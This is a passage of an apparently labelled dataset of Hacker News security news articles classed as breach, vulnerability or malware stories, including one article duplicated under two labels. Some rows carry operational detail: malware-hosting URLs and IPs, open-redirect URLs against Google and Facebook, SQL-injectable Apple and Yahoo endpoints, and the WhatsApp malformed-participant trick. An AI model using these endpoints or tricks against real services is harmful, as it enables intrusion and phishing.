The incident comes in less than six months after the telecom giant suffered a significant data breach that exposed the personal information of some of the customers using its prepaid services.

In August 2018, the company also disclosed a data breach that affected roughly two million customers.
",Data_Breaches
Another Facebook Bug Could Have Exposed Your Private Information,https://thehackernews.com/2018/11/facebook-vulnerability-hack.html,"Another security vulnerability has been reported in Facebook that could have allowed attackers to obtain certain personal information about users and their friends, potentially putting the privacy of users of the world's most popular social network at risk.

Discovered by cybersecurity researchers from Imperva, the vulnerability resides in the way Facebook search feature displays results for entered queries.

According to Imperva researcher Ron Masas, the page that displays search results includes iFrame elements associated with each outcome, where the endpoint URLs of those iFrames did not have any protection mechanisms in place to protect against cross-site request forgery (CSRF) attacks.

It should be noted that the newly reported vulnerability has already been patched, and unlike previously disclosed flaw in Facebook that exposed personal information of 30 million users, it did not allow attackers to extract information from mass accounts at once.

How Does the Facebook Search Vulnerability Work?

To exploit this vulnerability, all an attacker needs to do is simply tricking users into visiting a malicious site on their web browser where they have already logged into their Facebook accounts.
The malicious site contains a javascript code that will get executed in the background as soon as the victim clicks anywhere on that page.

""For this attack to work we need to trick a Facebook user to open our malicious site and click anywhere on the site, (this can be any site we can run JavaScript on) allowing us to open a popup or a new tab to the Facebook search page, forcing the user to execute any search query we want,"" Masas explained in a blog post published today.

As demonstrated by Masas in the video shown below, the JavaScript code opens a new tab or window with a Facebook URL that runs certain predefined search queries and measures the result to extract targeted information.

Searching something on Facebook seems less lucrative, especially when the exploit code returns the result in just yes or no.

""The attack actually leaks the number of search results for any search query on the currently logged Facebook account. The most basic usage is to make boolean queries like 'photos of me from Iceland',"" Masas told The Hacker News.
But if used correctly, Facebook's search feature could be exploited to extract sensitive information related to your Facebook account, such as checking:

If you have a friend with a specific name or a keyword in his/her name
If you like a particular page or are a member of a specific group
If you have a friend who likes a particular page
If you have taken photos in a certain location or country
If you have ever posted a photo taken at certain places/countries
If you have ever posted an update on your timeline containing a specific text/keyword
If you have Islamic friends

And so on… any custom query you can come up with.
""This process can be repeated without the need for new popups or tabs to be open since the attacker can control the location property of the Facebook window,"" Masas added. ""This is especially dangerous for mobile users, since the open tab can easily get lost in the background, allowing the attacker to extract the results for multiple queries, while the user is watching a video or reading an article on the attacker's site.""
In short, the vulnerability exposed interests and activities of targeted users and their friends even if their privacy settings are set in a way that this information can only be visible to them or their friends.

Imperva responsibly reported the bug to Facebook through the company's vulnerability disclosure program in May 2018, and the social network giant resolved the issue days later by adding CSRF protections.

Almost three months ago, Masas also reported an impressive web browser vulnerability that exposed everything other web platforms, like Facebook and Google, knows about you. He also released a proof of concept exploit of the bug.

",Vulnerability
New Bluetooth Hack Affects Millions of Devices from Major Vendors,https://thehackernews.com/2018/07/bluetooth-hack-vulnerability.html,"Yet another bluetooth hacking technique has been uncovered.

A highly critical cryptographic vulnerability has been found affecting some Bluetooth implementations that could allow an unauthenticated, remote attacker in physical proximity of targeted devices to intercept, monitor or manipulate the traffic they exchange.

The Bluetooth hacking vulnerability, tracked as CVE-2018-5383, affects firmware or operating system software drivers from some major vendors including Apple, Broadcom, Intel, and Qualcomm, while the implication of the bug on Google, Android and Linux are still unknown.

The security vulnerability is related to two Bluetooth features—Bluetooth low energy (LE) implementations of Secure Connections Pairing in operating system software, and BR/EDR implementations of Secure Simple Pairing in device firmware.

How the Bluetooth Hack Works?

Researchers from the Israel Institute of Technology discovered that the Bluetooth specification recommends, but does not mandate devices supporting the two features to validate the public encryption key received over-the-air during secure pairing.

Since this specification is optional, some vendors' Bluetooth products supporting the two features do not sufficiently validate elliptic curve parameters used to generate public keys during the Diffie-Hellman key exchange.

In this case, an unauthenticated, remote attacker within the range of targeted devices during the pairing process can launch a man-in-the-middle attack to obtain the cryptographic key used by the device, allowing them to potentially snoop on supposedly encrypted device communication to steal data going over-the-air, and inject malware.

Here's what the Bluetooth Special Interest Group (SIG), the maintainers of the technology, says about the flaw:
""For an attack to be successful, an attacking device would need to be within wireless range of two vulnerable Bluetooth devices that were going through a pairing procedure.""

""The attacking device would need to intercept the public key exchange by blocking each transmission, sending an acknowledgment to the sending device, and then injecting the malicious packet to the receiving device within a narrow time window. If only one device had the vulnerability, the attack would not be successful.""
On Monday, CERT/CC also released a security advisory, which includes additional technical details about the Bluetooth vulnerability and attack method.

According to the CERT/CC, Bluetooth makes use of a device pairing mechanism based on elliptic-curve Diffie-Hellman (ECDH) key exchange to allow encrypted communication between devices.

The ECDH key exchange involves a private and a public key, and the public keys are exchanged to produce a shared pairing key.

The devices must also agree on the elliptic curve parameters being used, but in some implementations, these parameters are not sufficiently validated, allowing remote attackers within wireless range ""to inject an invalid public key to determine the session key with high probability.""

Stop Bluetooth Hacking—Install Patches from Vendors

To fix the issue, the Bluetooth SIG has now updated the Bluetooth specification to require products to validate public keys received as part of public key-based security procedures.

Moreover, the organization has also added testing for this vulnerability within its Bluetooth Qualification Process.

The CERT/CC says patches are needed both in firmware or operating system software drivers, which should be obtained from vendors and developers of the affected products, and installed—if at all possible.

Also Read: BlueBorne Attack Critical Bluetooth Attack Puts Billions of Devices at Risk of Hacking

Apple, Broadcom, Intel, and Qualcomm Found Affected

So far, Apple, Broadcom, Intel, and Qualcomm have been found including affected Bluetooth chipsets in their devices, while Google, Android, and Linux have yet to confirm the existence of the vulnerability in their respective products. Microsoft products are not vulnerable.

Apple and Intel have already released patches for this security vulnerability. Apple fixed the bug with the release of macOS High Sierra 10.13.5, iOS 11.4, watchOS 4.3.1, and tvOS 11.4.

Intel released both software and firmware updates to patch the Bluetooth bug on Monday, informing users that the high severity flaw impacts the company's Dual Band Wireless-AC, Tri-Band Wireless-AC, and Wireless-AC product families.

According to Broadcom, some of its products supporting Bluetooth 2.1 or newer technology may be affected by the reported issue, but the chip maker claims to have already made fixes available to its OEM customers, who are now responsible for providing them to the end-users.

Qualcomm has not released any statement regarding the vulnerability.

The Bluetooth SIG says that there is no evidence of the bug being exploited maliciously and that it is not aware of ""any devices implementing the attack having been developed, including by the researchers who identified the vulnerability.""

",Vulnerability
Blackhole Exploit Kit attack on WampServer & Wordpress sites,https://thehackernews.com/2011/11/blackhole-exploit-kit-attack-on.html,"Blackhole Exploit Kit attack on WampServer & Wordpress sites

Kimberly from Stopmalvertising found Blackhole Exploit Kit on Website of most popular Webserver software site WAMPSERVER. Almost at the bottom of the webpage they notice a Javascript requesting a file from jquery.googlecode.com. The URL is followed by a long string of parameters. The file returns a 404, it's just there to fool people.

Once the script decoded we obtain an iframe leading to vc-business.com/in.php .According to Analyse of Kimberly , If a vulnerable Java, Windows Media Player, Flash or Adobe Reader version is detected, the visitor will be redirected to 91.194.214.66/dng311011/c7a44076f6c722eb74725563b0a000a0/spl.php and from there to 30domaaaam.in/main.php?page=c76874df55550a3f. According to Norton Safe Web, 91.194.214.66 has been caught in distributing the ZeroAccess rootkit.

Second Recent Attack by Blackhole Exploit discovered in thousands of WordPress websites that use a popular non-updated TimThumb image tool. Avast senior researcher Jan Sirmer found attackers had exploited weak FTP server authentication credentials and a vulnerability in the TimThumb image resizer to upload malicious PHP files to the site. But this is not the only way for example they use stolen passwords to direct FTP changes.In your FTP, alongside other site files, a new file will appear that looks like this: ./wp-content/w3tc/min/a12ed303.925433.js or ./wp-includes/js/l10n.js

The attack used the BlackHole exploit kit, which redirected the website's visitors to an external malware-hosting site. Researchers detected an additional 3,500 unique infected WordPress sites, which redirected visitors to malicious sites between Aug. 28 to 31. During September , the company blocked redirects from 2,515 WordPress sites, Sirmer said.

In bottom part of code, there is a request to https://91.169.216.20/url.php where only one line of code is stored: assa ='Domain with Black Hole exploit kit'. A fix is available for the TimThumb tool.

",Malware
Passwordstate Password Manager Update Hijacked to Install Backdoor on Thousands of PCs,https://thehackernews.com/2021/04/passwordstate-password-manager-update.html,"Click Studios, the Australian software company behind the Passwordstate password management application, has notified customers to reset their passwords following a supply chain attack.
The Adelaide-based firm said a bad actor used sophisticated techniques to compromise the software's update mechanism and used it to drop malware on user computers.
The breach is said to have occurred between April 20, 8:33 PM UTC, and April 22, 0:30 AM UTC, for a total period of about 28 hours.
""Only customers that performed In-Place Upgrades between the times stated above are believed to be affected,"" the company said in an advisory. ""Manual Upgrades of Passwordstate are not compromised. Affected customers password records may have been harvested.""
The development was first reported by the Polish tech news site Niebezpiecznik. It's not immediately clear who the attackers are or how they compromised the password manager's update feature. Click Studios said an investigation into the incident is ongoing but noted ""the number of affected customers appears to be very low.""
Passwordstate is an on-premise web-based solution used for enterprise password management, enabling businesses to securely store passwords, integrate the solution into their applications, and reset passwords across a range of systems, among others. The software is used by 29,000 customers and 370,000 security and IT professionals globally, counting several Fortune 500 companies spanning verticals such as banking, insurance, defense, government, education, and manufacturing.
According to an initial analysis shared by Denmark-based security firm CSIS Group, the malware-laced update came in the form of a ZIP archive file, ""Passwordstate_upgrade.zip,"" which contained a modified version of a library called ""moserware.secretsplitter.dll"" (VirusTotal submissions here and here).
This file, in turn, established contact with a remote server to fetch a second-stage payload (""upgrade_service_upgrade.zip"") that extracted Passwordstate data and exported the information back to the adversary's CDN network. Click Studios said the server was taken down as of April 22 at 7:00 AM UTC.
The full list of compromised information includes computer name, user name, domain name, current process name, current process id, names and IDs of all running processes, names of all running services, display name and status, Passwordstate instance's Proxy Server Address, usernames and passwords..
Click Studios has released a hotfix package to help customers remove the attacker's tampered DLL and overwrite it with a legitimate variant. The company is also recommending that businesses reset all credentials associated with external facing systems (firewalls, VPN) as well as internal infrastructure (storage systems, local systems) and any other passwords stored in Passwordstate.
Passwordstate's breach comes as supply chain attacks are fast emerging a new threat to companies that depend on third-party software vendors for their day-to-day operations. In December 2020, a rogue update to the SolarWinds Orion network management software installed a backdoor on the networks of up to 18,000 customers.
Last week, software auditing startup Codecov alerted customers that it discovered its software had been infected with a backdoor as early as January 31 to gain access to authentication tokens for various internal software accounts used by developers. The incident didn't come to light until April 1.

",Malware
Hacking Team and Boeing Built Cyber Weaponized Drones to Spy on Targets,https://thehackernews.com/2015/07/boeing-drone-hacking.html,"The leaked internal emails from the Italian surveillance software company Hacking Team have revealed that the spyware company developed a robotic aircraft designed to attack computers and smartphone devices through Wi-Fi networks.

Over a year ago, some security researchers developed a drone called 'Snoopy' that was capable to intercept data from users' Smartphones through spoofed wireless networks.

Now, the email conversations posted on WikiLeaks website reveal that both Boeing and Hacking Team want unmanned aerial vehicles (UAVS) called Drones to carry out attacks that inject spyware into target computers or mobile phones via WiFi.

After attending the International Defense Exposition and Conference (IDEX) in Abu Dhabi in February 2015, the U.S. drone company Boeing subsidiary Insitu become interested in using surveillance drones to deliver Hacking Team's Remote Control System Galileo for even more surveillance.

Among the emails, co-founder Marco Valleri gave a roadmap of projects that Hacking Team have underway, including ""Tactical Network Injector"" (TNI) — a piece of hardware designed to inject malicious code into Wi-Fi networks, making it act as a malicious access point to launch man-in-the-middle (MITM) attacks or exploits.

To develop a way to infect computers via drone, Hacking Team employee Andrea Di Pasquale was given a task of developing a ""mini-TNI"":
Ruggedized
Transportable by a drone (!)
Drones used to Spy on Targets

In case, if a target makes use of a public Wifi network in a hotel or a coffee shop to connect his/her device to the Internet, the drone could intercept the traffic and inject the malicious code that secretly installs Hacking Team spyware.

The mini-TNI request was originated from the US-based Insitu, a subsidiary of Boeing that makes a range of unmanned aircraft systems, including the small ScanEagle surveillance drone and RQ-21A ""Blackjack"".

Giuseppe Venneri, an Insitu intern, wrote to Hacking Team's key account manager Emad Shehata this April:
""We see potential in integrating your Wi-Fi hacking capability into an airborne system [drone] and would be interested in starting a conversation with one of your engineers [Hacking Team staff] to go over, in more depth, the payload capabilities including the detailed size, weight, and power specs of your Galileo System.""
The email conversation was still in the early stages as of the Hacking Team's leak, so you do not have to worry about drones. Also, it is not clear as to who the customers for the Hacking team's spying drones would be.

Though the NSA is very much fond of spyware and surveillance software, there're chances that NSA or other United States agencies would line up as customers of the Hacking Team's Spying drones. Now, you don't have to be surprised if drones are eventually doing a lot more than just snapping pictures.

",Malware
WinRAR File Extension Spoofing vulnerability allows Hackers to Hide Malware,https://thehackernews.com/2014/04/winrar-file-extension-spoofing.html,"Imagine, You Open a Winrar archive of MP3 files, but what if it will install a malware into your system when you play anyone of them.

WinRAR, a widely used file archiver and data compression utility helps hackers to distribute malicious code. Israeli security researcher Danor Cohen (An7i) discovered the WinRAR file extension spoofing vulnerability.

WinRAR file extension spoofing vulnerability allows hackers to modify the filename and extension inside the traditional file archive, that helps them to hide binary malicious code inside an archive, pretending itself as '.jpg' , '.txt' or any other format.

Using a Hex editor tool, he analysed a ZIP file and noticed that winrar tool also adds some custom properties to an archive, including two names - First name is the original filename (FAX.png) and second name is the filename (FAX.png) that will appear at the WINRAR GUI window.

Danor manipulated the second filename and extension to prepare a special ZIP archive, that actually include a malware file ""FAX.exe"", but displaying itself as ""FAX.png"" to the user.
Cyber intelligence company, IntelCrawler also published a report, which revealed that cybercriminals specialized in cyber espionage attacks are using this zero-day vulnerability in the wild to target several aerospace corporations, military subcontractors, embassies, as well as Fortune Global 500 companies.

Using this technique, an attacker can drop any malware in very convincing manner to the victim's system. ""Using this method the bad actors bypass some specific security measures including e-mail server's antivirus systems"" IntelCrawler said.

Danor successfully exploited winrar version 4.20, and IntelCrawler confirmed that the vulnerability also works on all WinRar versions including v.5.1.

HOW TO CREATE EXPLOITABLE ZIP FILE?
A video demonstration has been prepared by Indian Security Researcher Ajin Abraham, shown below:
""One of the chosen tactics includes malicious fake CV distribution and FOUO (For Official Use Only)-like documents, including fax scanned messages""

Using social engineering techniques, attacker are targeting high profile victims with spear phishing mails, ""Most of sent malicious attachments are hidden as graphical files, but password protected in order to avoid antivirus or IDS/IPS detection."" IntelCrawler reported.
In above example, the Malware archive file was password protected to avoid antivirus detection, used in an ongoing targeted cyber espionage campaign.

Researchers found Zeus-like Trojan as an attachment, which has ability to establish remote administration channel with the infected victim, gather passwords and system information, then send the collected and stolen data to the Command & Control server hosted in Turkey (IP 185.9.159.211, Salay Telekomünikasyon).

Users are advised to use an alternative archiving software and avoid opening archives with passwords even if it has legitimate files.

Update: Baidu Antivirus is now able to detect (identified as Exploit.WinRar.spoof.gen) hidden files generated with WinRAR File Extension Spoofing vulnerability.
In a recent updated, Baidu Antivirus added Winrar related threat to their malware signature database. Security experts suggest users to immediately upgrade to WinRAR version 5.0 or higher to avoid this vulnerability.

",Malware
WinRAR File Extension Spoofing vulnerability allows Hackers to Hide Malware,https://thehackernews.com/2014/04/winrar-file-extension-spoofing.html,"Imagine, You Open a Winrar archive of MP3 files, but what if it will install a malware into your system when you play anyone of them.

WinRAR, a widely used file archiver and data compression utility helps hackers to distribute malicious code. Israeli security researcher Danor Cohen (An7i) discovered the WinRAR file extension spoofing vulnerability.

WinRAR file extension spoofing vulnerability allows hackers to modify the filename and extension inside the traditional file archive, that helps them to hide binary malicious code inside an archive, pretending itself as '.jpg' , '.txt' or any other format.

Using a Hex editor tool, he analysed a ZIP file and noticed that winrar tool also adds some custom properties to an archive, including two names - First name is the original filename (FAX.png) and second name is the filename (FAX.png) that will appear at the WINRAR GUI window.

Danor manipulated the second filename and extension to prepare a special ZIP archive, that actually include a malware file ""FAX.exe"", but displaying itself as ""FAX.png"" to the user.
Cyber intelligence company, IntelCrawler also published a report, which revealed that cybercriminals specialized in cyber espionage attacks are using this zero-day vulnerability in the wild to target several aerospace corporations, military subcontractors, embassies, as well as Fortune Global 500 companies.

Using this technique, an attacker can drop any malware in very convincing manner to the victim's system. ""Using this method the bad actors bypass some specific security measures including e-mail server's antivirus systems"" IntelCrawler said.

Danor successfully exploited winrar version 4.20, and IntelCrawler confirmed that the vulnerability also works on all WinRar versions including v.5.1.

HOW TO CREATE EXPLOITABLE ZIP FILE?
A video demonstration has been prepared by Indian Security Researcher Ajin Abraham, shown below:
""One of the chosen tactics includes malicious fake CV distribution and FOUO (For Official Use Only)-like documents, including fax scanned messages""

Using social engineering techniques, attacker are targeting high profile victims with spear phishing mails, ""Most of sent malicious attachments are hidden as graphical files, but password protected in order to avoid antivirus or IDS/IPS detection."" IntelCrawler reported.
In above example, the Malware archive file was password protected to avoid antivirus detection, used in an ongoing targeted cyber espionage campaign.

Researchers found Zeus-like Trojan as an attachment, which has ability to establish remote administration channel with the infected victim, gather passwords and system information, then send the collected and stolen data to the Command & Control server hosted in Turkey (IP 185.9.159.211, Salay Telekomünikasyon).

Users are advised to use an alternative archiving software and avoid opening archives with passwords even if it has legitimate files.

Update: Baidu Antivirus is now able to detect (identified as Exploit.WinRar.spoof.gen) hidden files generated with WinRAR File Extension Spoofing vulnerability.
In a recent updated, Baidu Antivirus added Winrar related threat to their malware signature database. Security experts suggest users to immediately upgrade to WinRAR version 5.0 or higher to avoid this vulnerability.

",Vulnerability
Fraud-as-a-Service of Zeus Malware advertised on social network,https://thehackernews.com/2013/04/zeus-malware-fraud-as-service.html,"Cyber crime enterprise is showing a growing interest in monetization of botnets, the most targeted sector in recent months is banking. One of most active malware that still menaces Banking sector is the popular Zeus. Zeus is one of the oldest, it is active since 2007, and most prolific malware that changed over time according numerous demands of the black-market.

Recently, Underground forums are exploded the offer of malicious codes, hacking services and bullet proof hosting to organize a large scale fraud. Cyber criminals are selling kits at reasonable prices or entire botnets for renting, sometimes completing the offer with information to use during the attacks.

The model described, known also as a Fraud-as-a-Service, is winning, malicious code such as Zeus, SpyEye, Ice IX, or even Citadel have benefited of the same sales model, cyber criminals with few hundred dollars are able to design their criminal operation.


Since now the sales model and the actor involved remained confined to the underground, usually the access to the offer of cyber crime was possible through selected channels, such black market forums, Deep Web sites or IRC communities.

The cyber crime is becoming fearless world. RSA security experts published an interesting article to describer a concerning phenomena, the criminal offer has exploited the popularity and wide audience of Social Network proposing a customized botnet panel for Zeus Trojan.


The malicious application appears to be developed by Indonesian-speaking developers that improved previous version of the popular Zeus Trojan kit.

The team adopted a winning commercial approach designing a demo website for would-be buyers public visible and publishing a dedicated Facebook page.

The cyber criminals used the social network page to update their customers providing information about botnets, exploits, cyber crime, and of course about their own products (Zeus v 1.2.10.1).

The different cyber laws in force in different countries and their light application in many states has sustained the growth of cyber crime worldwide, criminals are now starting to publicly offer/ acquire malicious codes and hacking services for malicious campaign.

IT community need a globally recognized law framework to address cyber criminal organizations, law enforcement urge the establishment of severe penalties and shared effort to fight a battle against an invisible enemy that hasn't a specific geographical connotation.

Until cyber criminals will have the opportunity to hide themselves in a country whose government will not properly persecute them it's impossible to stop cyber criminal wave.

Cyber crime contrast is a global emergency.

",Malware
URL redirection Vulnerability in Google & Facebook,https://thehackernews.com/2012/01/url-redirection-vulnerability-in-google.html,"URL redirection Vulnerability in Google

An open redirect is a vulnerability that exists when a script allows redirectionto an external site by directly calling a specific URL in an unfiltered,unmanaged fashion, which could be used to redirect victims to unintended,malicious web sites. A web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect.

A similar vulnerability is reported in Google by ""Ucha Gobejishvili ( longrifle0x )"". This problem may assist an attacker to conduct phishing attacks, trojan distribution, spammers.
Url: https://accounts.google.com/o/oauth2/auth?redirect_uri=https://www.something.com

Same vulnerability in Facebook, Discovered by ZeRtOx from Devitel group:
https://www.facebook.com/l.php?h=5AQH8ROsPAQEOTSTw7sgoW1LhviRUBr6iFCcj4C8YmUcC8A&u=www.something.com


Impact of Vulnerability :
The user may be redirected to an untrusted page that contains malware which may then compromise the user's machine. This will expose the user to extensive risk and the user's interaction with the web server may also be compromised if the malware conducts keylogging or other attacks that steal credentials, personally identifiable information (PII), or other important data.
The user may be subjected to phishing attacks by being redirected to an untrusted page. The phishing attack may point to an attacker controlled web page that appears to be a trusted web site. The phishers may then steal the user's credentials and then use these credentials to access the legitimate web site.

",Vulnerability
This Bug Could Have Let Anyone Crash WhatsApp Of All Group Members,https://thehackernews.com/2019/12/whatsapp-group-crash.html,"WhatsApp, the world's most popular end-to-end encrypted messaging application, patched an incredibly frustrating software bug that could have allowed a malicious group member to crash the messaging app for all members of the same group, The Hacker News learned.

Just by sending a maliciously crafted message to a targeted group, an attacker can trigger a fully-destructive WhatsApp crash-loop, forcing all group members to completely uninstall the app, reinstall it, and remove the group to regain normal function.

Since the group members can't selectively delete the malicious message without opening the group window and re-triggering the crash-loop, they have to lose the entire group chat history, indefinitely, to get rid of it.

Discovered by researchers at Israeli cybersecurity firm Check Point, the latest bug resided in the WhatsApp's implementation of XMPP communication protocol that crashes the app when a member with invalid phone number drops a message in the group.

""When we attempt to send a message where the parameter 'participant' receives a value of 'null,' a 'Null Pointer Exception' is thrown,"" the researchers explain in a report shared with The Hacker News prior to its release.

""The parser for the participant's phone number mishandles the input when an illegal phone number is received. When it receives a phone number with a length, not in the ranger 5-20 or a non-digit character, it would read it as a 'null' string.""

To be noted, the issue resided in both, WhatsApp for Android and iOS, but in an interview with The Hacker News, Check Point researcher Roman Zaikin confirmed that the exploit works smoothly against all vulnerable Android users, but sometimes doesn't reproduce on iOS.

The attack requires a malicious group member to manipulate other parameters associated with messages in a conversation that is otherwise protected using end-to-end encryption.
In order to carry out this attack, an attacker can leverage WhatsApp Web and a web browser debugging tool in combination with an open source WhatsApp manipulation tool that Check Point released last year.

The WhatsApp manipulation tool is an extension for Burp Suite penetration testing software that allows users to intercept, decrypt, and re-encrypt their WhatsApp communication using their own encryption keys.

As shown in the video demonstration, the researchers used this setup to trigger the crash bug against all members of a group by simply replacing the participant's parameter from the sender's phone number to 'a@s.whatsapp.net,' an invalid non-digit phone number.

""The bug will crash the app, and it will continue to crash even after we reopen WhatsApp, resulting in a crash loop,"" the researchers say.

""Moreover, the user will not be able to return to the group and all the data that was written and shared in the group is now gone for good. The group cannot be restored after the crash has happened and will have to be deleted in order to stop the crash.""


It should be noted that the attack would not affect the sender since the malicious message was injected in transit after it left the sender's device.

Check Point responsibly reported this crash bug to the WhatsApp security team back in late August this year, and the company patched the issue with the release of WhatsApp version 2.19.58 in mid-September.

The WhatsApp developers also ""added new controls to prevent people from being added to unwanted groups to avoid communication with untrusted parties altogether.""

""Because WhatsApp is one of the world's leading communication channels for consumers, businesses and government agencies, the ability to stop people using WhatsApp and delete valuable information from group chats is a powerful weapon for bad actors,"" Oded Vanunu, Check Point's Head of Product Vulnerability Research said.

""WhatsApp greatly values the work of the technology community to help us maintain strong security for our users globally. Thanks to the responsible submission from Check Point to our bug bounty program, we quickly resolved this issue for all WhatsApp apps in mid September,"" WhatsApp Software Engineer Ehren Kret told The Hacker News.

WhatsApp users are highly recommended to always keep their apps up-to-date in order to protect themselves against known attacks.

",Vulnerability
Specialized Trojan can stealing credit card details from hotel,https://thehackernews.com/2012/04/specialized-trojan-can-stealing-credit.html,"Specialized Trojan can stealing credit card details from hotel

The next time you check in to a hotel, a cybercriminal could be checking you out. A remote access computer Trojan (RAT) designed to steal credit card details from hotel point-of-sale (PoS) applications is being sold on the underground forums, according to researchers from security firm Trusteer.

Trusteer, the world's leading provider of secure web access services, detected these schemes and says hotel poaching is a virile trade in underground and tech forums. Attack codes can be purchased in Visa underground forums for $280 and the spyware cannot be detected by anti-virus software. The package even includes a manual loaded with tips on how the poacher can trick the desk clerk into loading the spyware for them.

Malware writers often repackage their malicious installers with new algorithms in order to evade signature-based antivirus detection, said Bogdan Botezatu, a senior e-threat analyst at antivirus vendor BitDefender.

""The fact that the RAT's creator decided to target the hospitality industry is consistent with a recently observed change in the focus of cybercriminals - an expansion from online banking attacks to attacks against PoS systems, Criminals are increasingly expanding the focus of their attacks from online banking targets to enterprises,"" said Trusteer's CTO Amit Klein.

While this credit card scam seems nearly impossible to detect and prevent, you can keep your finances, and identity, in check by routinely monitoring your bank balances, and reporting any suspicious or unauthorized transactions to your bank immediately.

",Malware
Apple database hacked with SQL injection by Anonymous,https://thehackernews.com/2011/07/apple-database-hacked-with-sql.html,"Apple database hacked with SQL injection by Anonymous


Anonymous hackers announce on twitter that Apple can be there next target. They expose one SQL vulnerability on Apple domain with One table ""Users"" data.


Vulnerable Link : https://abs.apple.com:8080/ssurvey/survey?id=

Exposure Link : https://pastebin.com/tkmZDG9m

These all hacks now consider under Operation Antisec by Anonymous and Lulzsec Members.

",Vulnerability
Breach Database Site 'LeakedSource' Goes Offline After Alleged Police Raid,https://thehackernews.com/2017/01/leakedsource-police-raid.html,"The biggest mistake companies make with data security is leaving all their secrets unprotected at one place, which if attacked, they are all gone in one shot.

An unnamed law enforcement agency has reportedly accessed billions of compromised usernames, email IDs, and their passwords, collected by LeakedSource, a popular breach notification service.

LeakedSource, launched in late 2015, that exposed some of the largest data breaches in 2016, including LinkedIn, DailyMotion, Rambler.ru, Last.fm, VK.com, Weebly, and Foursquare, might be facing a permanent shut down after law enforcement officers allegedly raided its operator.

The LeakedSource website that allowed visitors to look up for their account details that had been collected from multiple data breaches has suddenly disappeared, and its associated social media accounts have been suspended.

The data breach aggregation service had always been criticized for its unethical policy of allowing anyone to look up hacked account details, rather than discreetly notifying compromised account owners.

The service, which indexed more than 3.1 billion compromised accounts records last year, also sells access to the full archive for which it charges a membership fee.

Although there is no official announcement from the company or any law enforcement agency, an online OGFlip forum post made shortly after the site's takedown claims LeakedSource has been raided and the police have seized all the data hosted on it.

Here's the message from a person using the handle LTD wrote on OGF forum:
""Leakedsource is down forever and will not be coming back. Owner raided early this morning. Was not arrested, but all [solid state drives (SSD)] got taken, and LeakedSource servers got subpoenaed and placed under federal investigation. If somehow he recovers from this and launches LS again, then I'll be wrong. But I am not wrong.""
LeakedSource made headlines last year for indexing the leaked data compromised during the high-profile data breach in LinkedIn, MySpace, Twitter, and Weebly.

While it is not clear whether LeakedSource hard drives and servers were located, or was actually raided, and if true, which law enforcement agency conducted the raid, the website is still unavailable.

",Data_Breaches
"Oracle releases 169 Updates, Including 19 Patches for JAVA Vulnerabilities",https://thehackernews.com/2015/01/java-update-patch-vulnerability.html,"Get Ready to update your Java program as Oracle has released its massive patch package for multiple security vulnerabilities in its software.

The United States software maker Oracle releases its security updates every three months on Tuesday, which it referred to as ""Critical Patch Updates"" (CPU). Yesterday, Oracle released its first quarterly CPU-date of this year, issuing a total of 169 security fixes for hundreds of its products including Java, Fusion Middleware, Enterprise Manager and MySQL.

The security update for Oracle's popular browser plug-in Java addresses vulnerabilities in the software, 14 of which could be remotely exploitable without authentication, that means an attacker wouldn't need a username and password to exploit them over a network.

Four Java flaws were marked most severe and received a score of 10.0 on the Common Vulnerability Scoring System (CVSS), the most critical ranking. Nine other Java flaws given a CVSS Base Score of 6.0 or higher.
""Oracle has received specific reports of malicious exploitation of vulnerabilities for which Oracle has already released fixes. In some instances, it has been reported that malicious attackers have been successful because customers had failed to apply these Oracle patches,"" Oracle said in a pre-release announcement. ""Oracle therefore strongly recommends that customers remain on actively-supported versions and apply Critical Patch Update fixes without delay.""
The other most severe ratings of CVSS base score 10.0 belong to Fujitsu M10-1 of Oracle Sun Systems Products Suite, M10-4 of Oracle Sun Systems Products Suite, and M10-4S Servers of Oracle Sun Systems Products Suite.

Eight vulnerabilities in Oracle database were also addressed in the recent release, including CVE-2014-6567, which received a CVSS Base Score of 9.0, as it allows a full compromise of the targeted server on the Windows platform with authentication. None of the database vulnerabilities could be remotely exploitable without authentication.

A total of 10 security updates have been included for Oracle E-Business Suite, including one assigned CVE-2015-0393 discovered and reported to Oracle this past year by Australian researcher David Litchfield, which could have granted administrator privileges to lower-level users.

Six security fixes have been included for Oracle Supply Chain Suite, 7 for Oracle PeopleSoft Enterprise, 1 for Oracle JDEdwards EnterpriseOne, 17 for Oracle Siebel CRM, and 2 for Oracle iLearning. Oracle's MySQL received 9 security fixes, 3 of which could be remotely exploitable without authentication, and the most critical bug, CVE-2015-0411, had a base score of 7.5.

In total, 36 new fixes have been issued for Oracle Fusion Middleware products, and the most severe bug, CVE-2011-1944, received a rating of 9.3 that affects Oracle HTTP Server. Two of the Oracle Fusion Middleware vulnerabilities fixed in this CPU can result in a server takeover.

The company also provided 29 fixes for the Oracle Sun Systems Products Suite, 10 of which could be remotely exploitable without authentication. One bug, CVE-2013-4784, received the highest CVSS base score of 10.0. This particularly nasty flaw affects XCP Firmware versions prior to XCP 2232. Another bug, CVE-2014-4259, received a rating of 9.0.

You can see the full list of affected software from here. The next CPU date is 14 April 2015. Stay Safe! Stay Tuned!

",Vulnerability
SQL Injection Vulnerability in 'Yahoo! Contributors Network',https://thehackernews.com/2014/10/sql-injection-vulnerability-in-yahoo.html,"Yahoo! Contributors Network (contributor.yahoo.com), the network of authors that generated the contents such as photographs, videos, articles and their knowledge to more than 600 million monthly visitors, was vulnerable to a Time based Blind SQL Injection vulnerability.

Behrouz Sadeghipour, a security researcher reported the Blind SQLi vulnerability in Yahoo!'s website that could be exploited by hackers to steal users' and authors' database, containing their personal information.

Behrouz reported this flaw to Yahoo! Security team few months back. The team responded positively and within a month they patched the vulnerability successfully. Unfortunately after that Yahoo! announced to shut down 'Yahoo Contributors Network' due to its decreasing popularity and removed all the contents from the web, except some of the ""work for hire"" content may remain on the web.

The critical vulnerability was able to expose the database which carried sensitive and personal information of those authors who was participating and getting paid from their work. While looking around the website, the researcher came across two vulnerabilities in the following URL/files:
https://contributor.yahoo.com/forum/search/?
https://contributor.yahoo.com//library/payments/data-table/?
The vulnerability allows remote attackers to inject own SQL commands to breach the database of the above vulnerable URLs and get access to the users' personal data.

In 2012, Yahoo! Contributors Network was hacked by a group of hackers called ""D33DS Company"" and ""Owned and Exposed"" data breach exposed stolen 453,491 email addresses and passwords online. Reportedly, at that time hackers used the same technique i.e. SQL Injection attack to carry out the data breach.

SQL INJECTION AND ITS IMPACTS
SQL Injection (SQLi) attacks have been around for over a decade. It involves inserting a malformed SQL query into an application via client-side input. SQLi vulnerabilities are ranked as Critical one because if it is used by Hackers, it will cause a database breach which will lead to confidential information leakage.

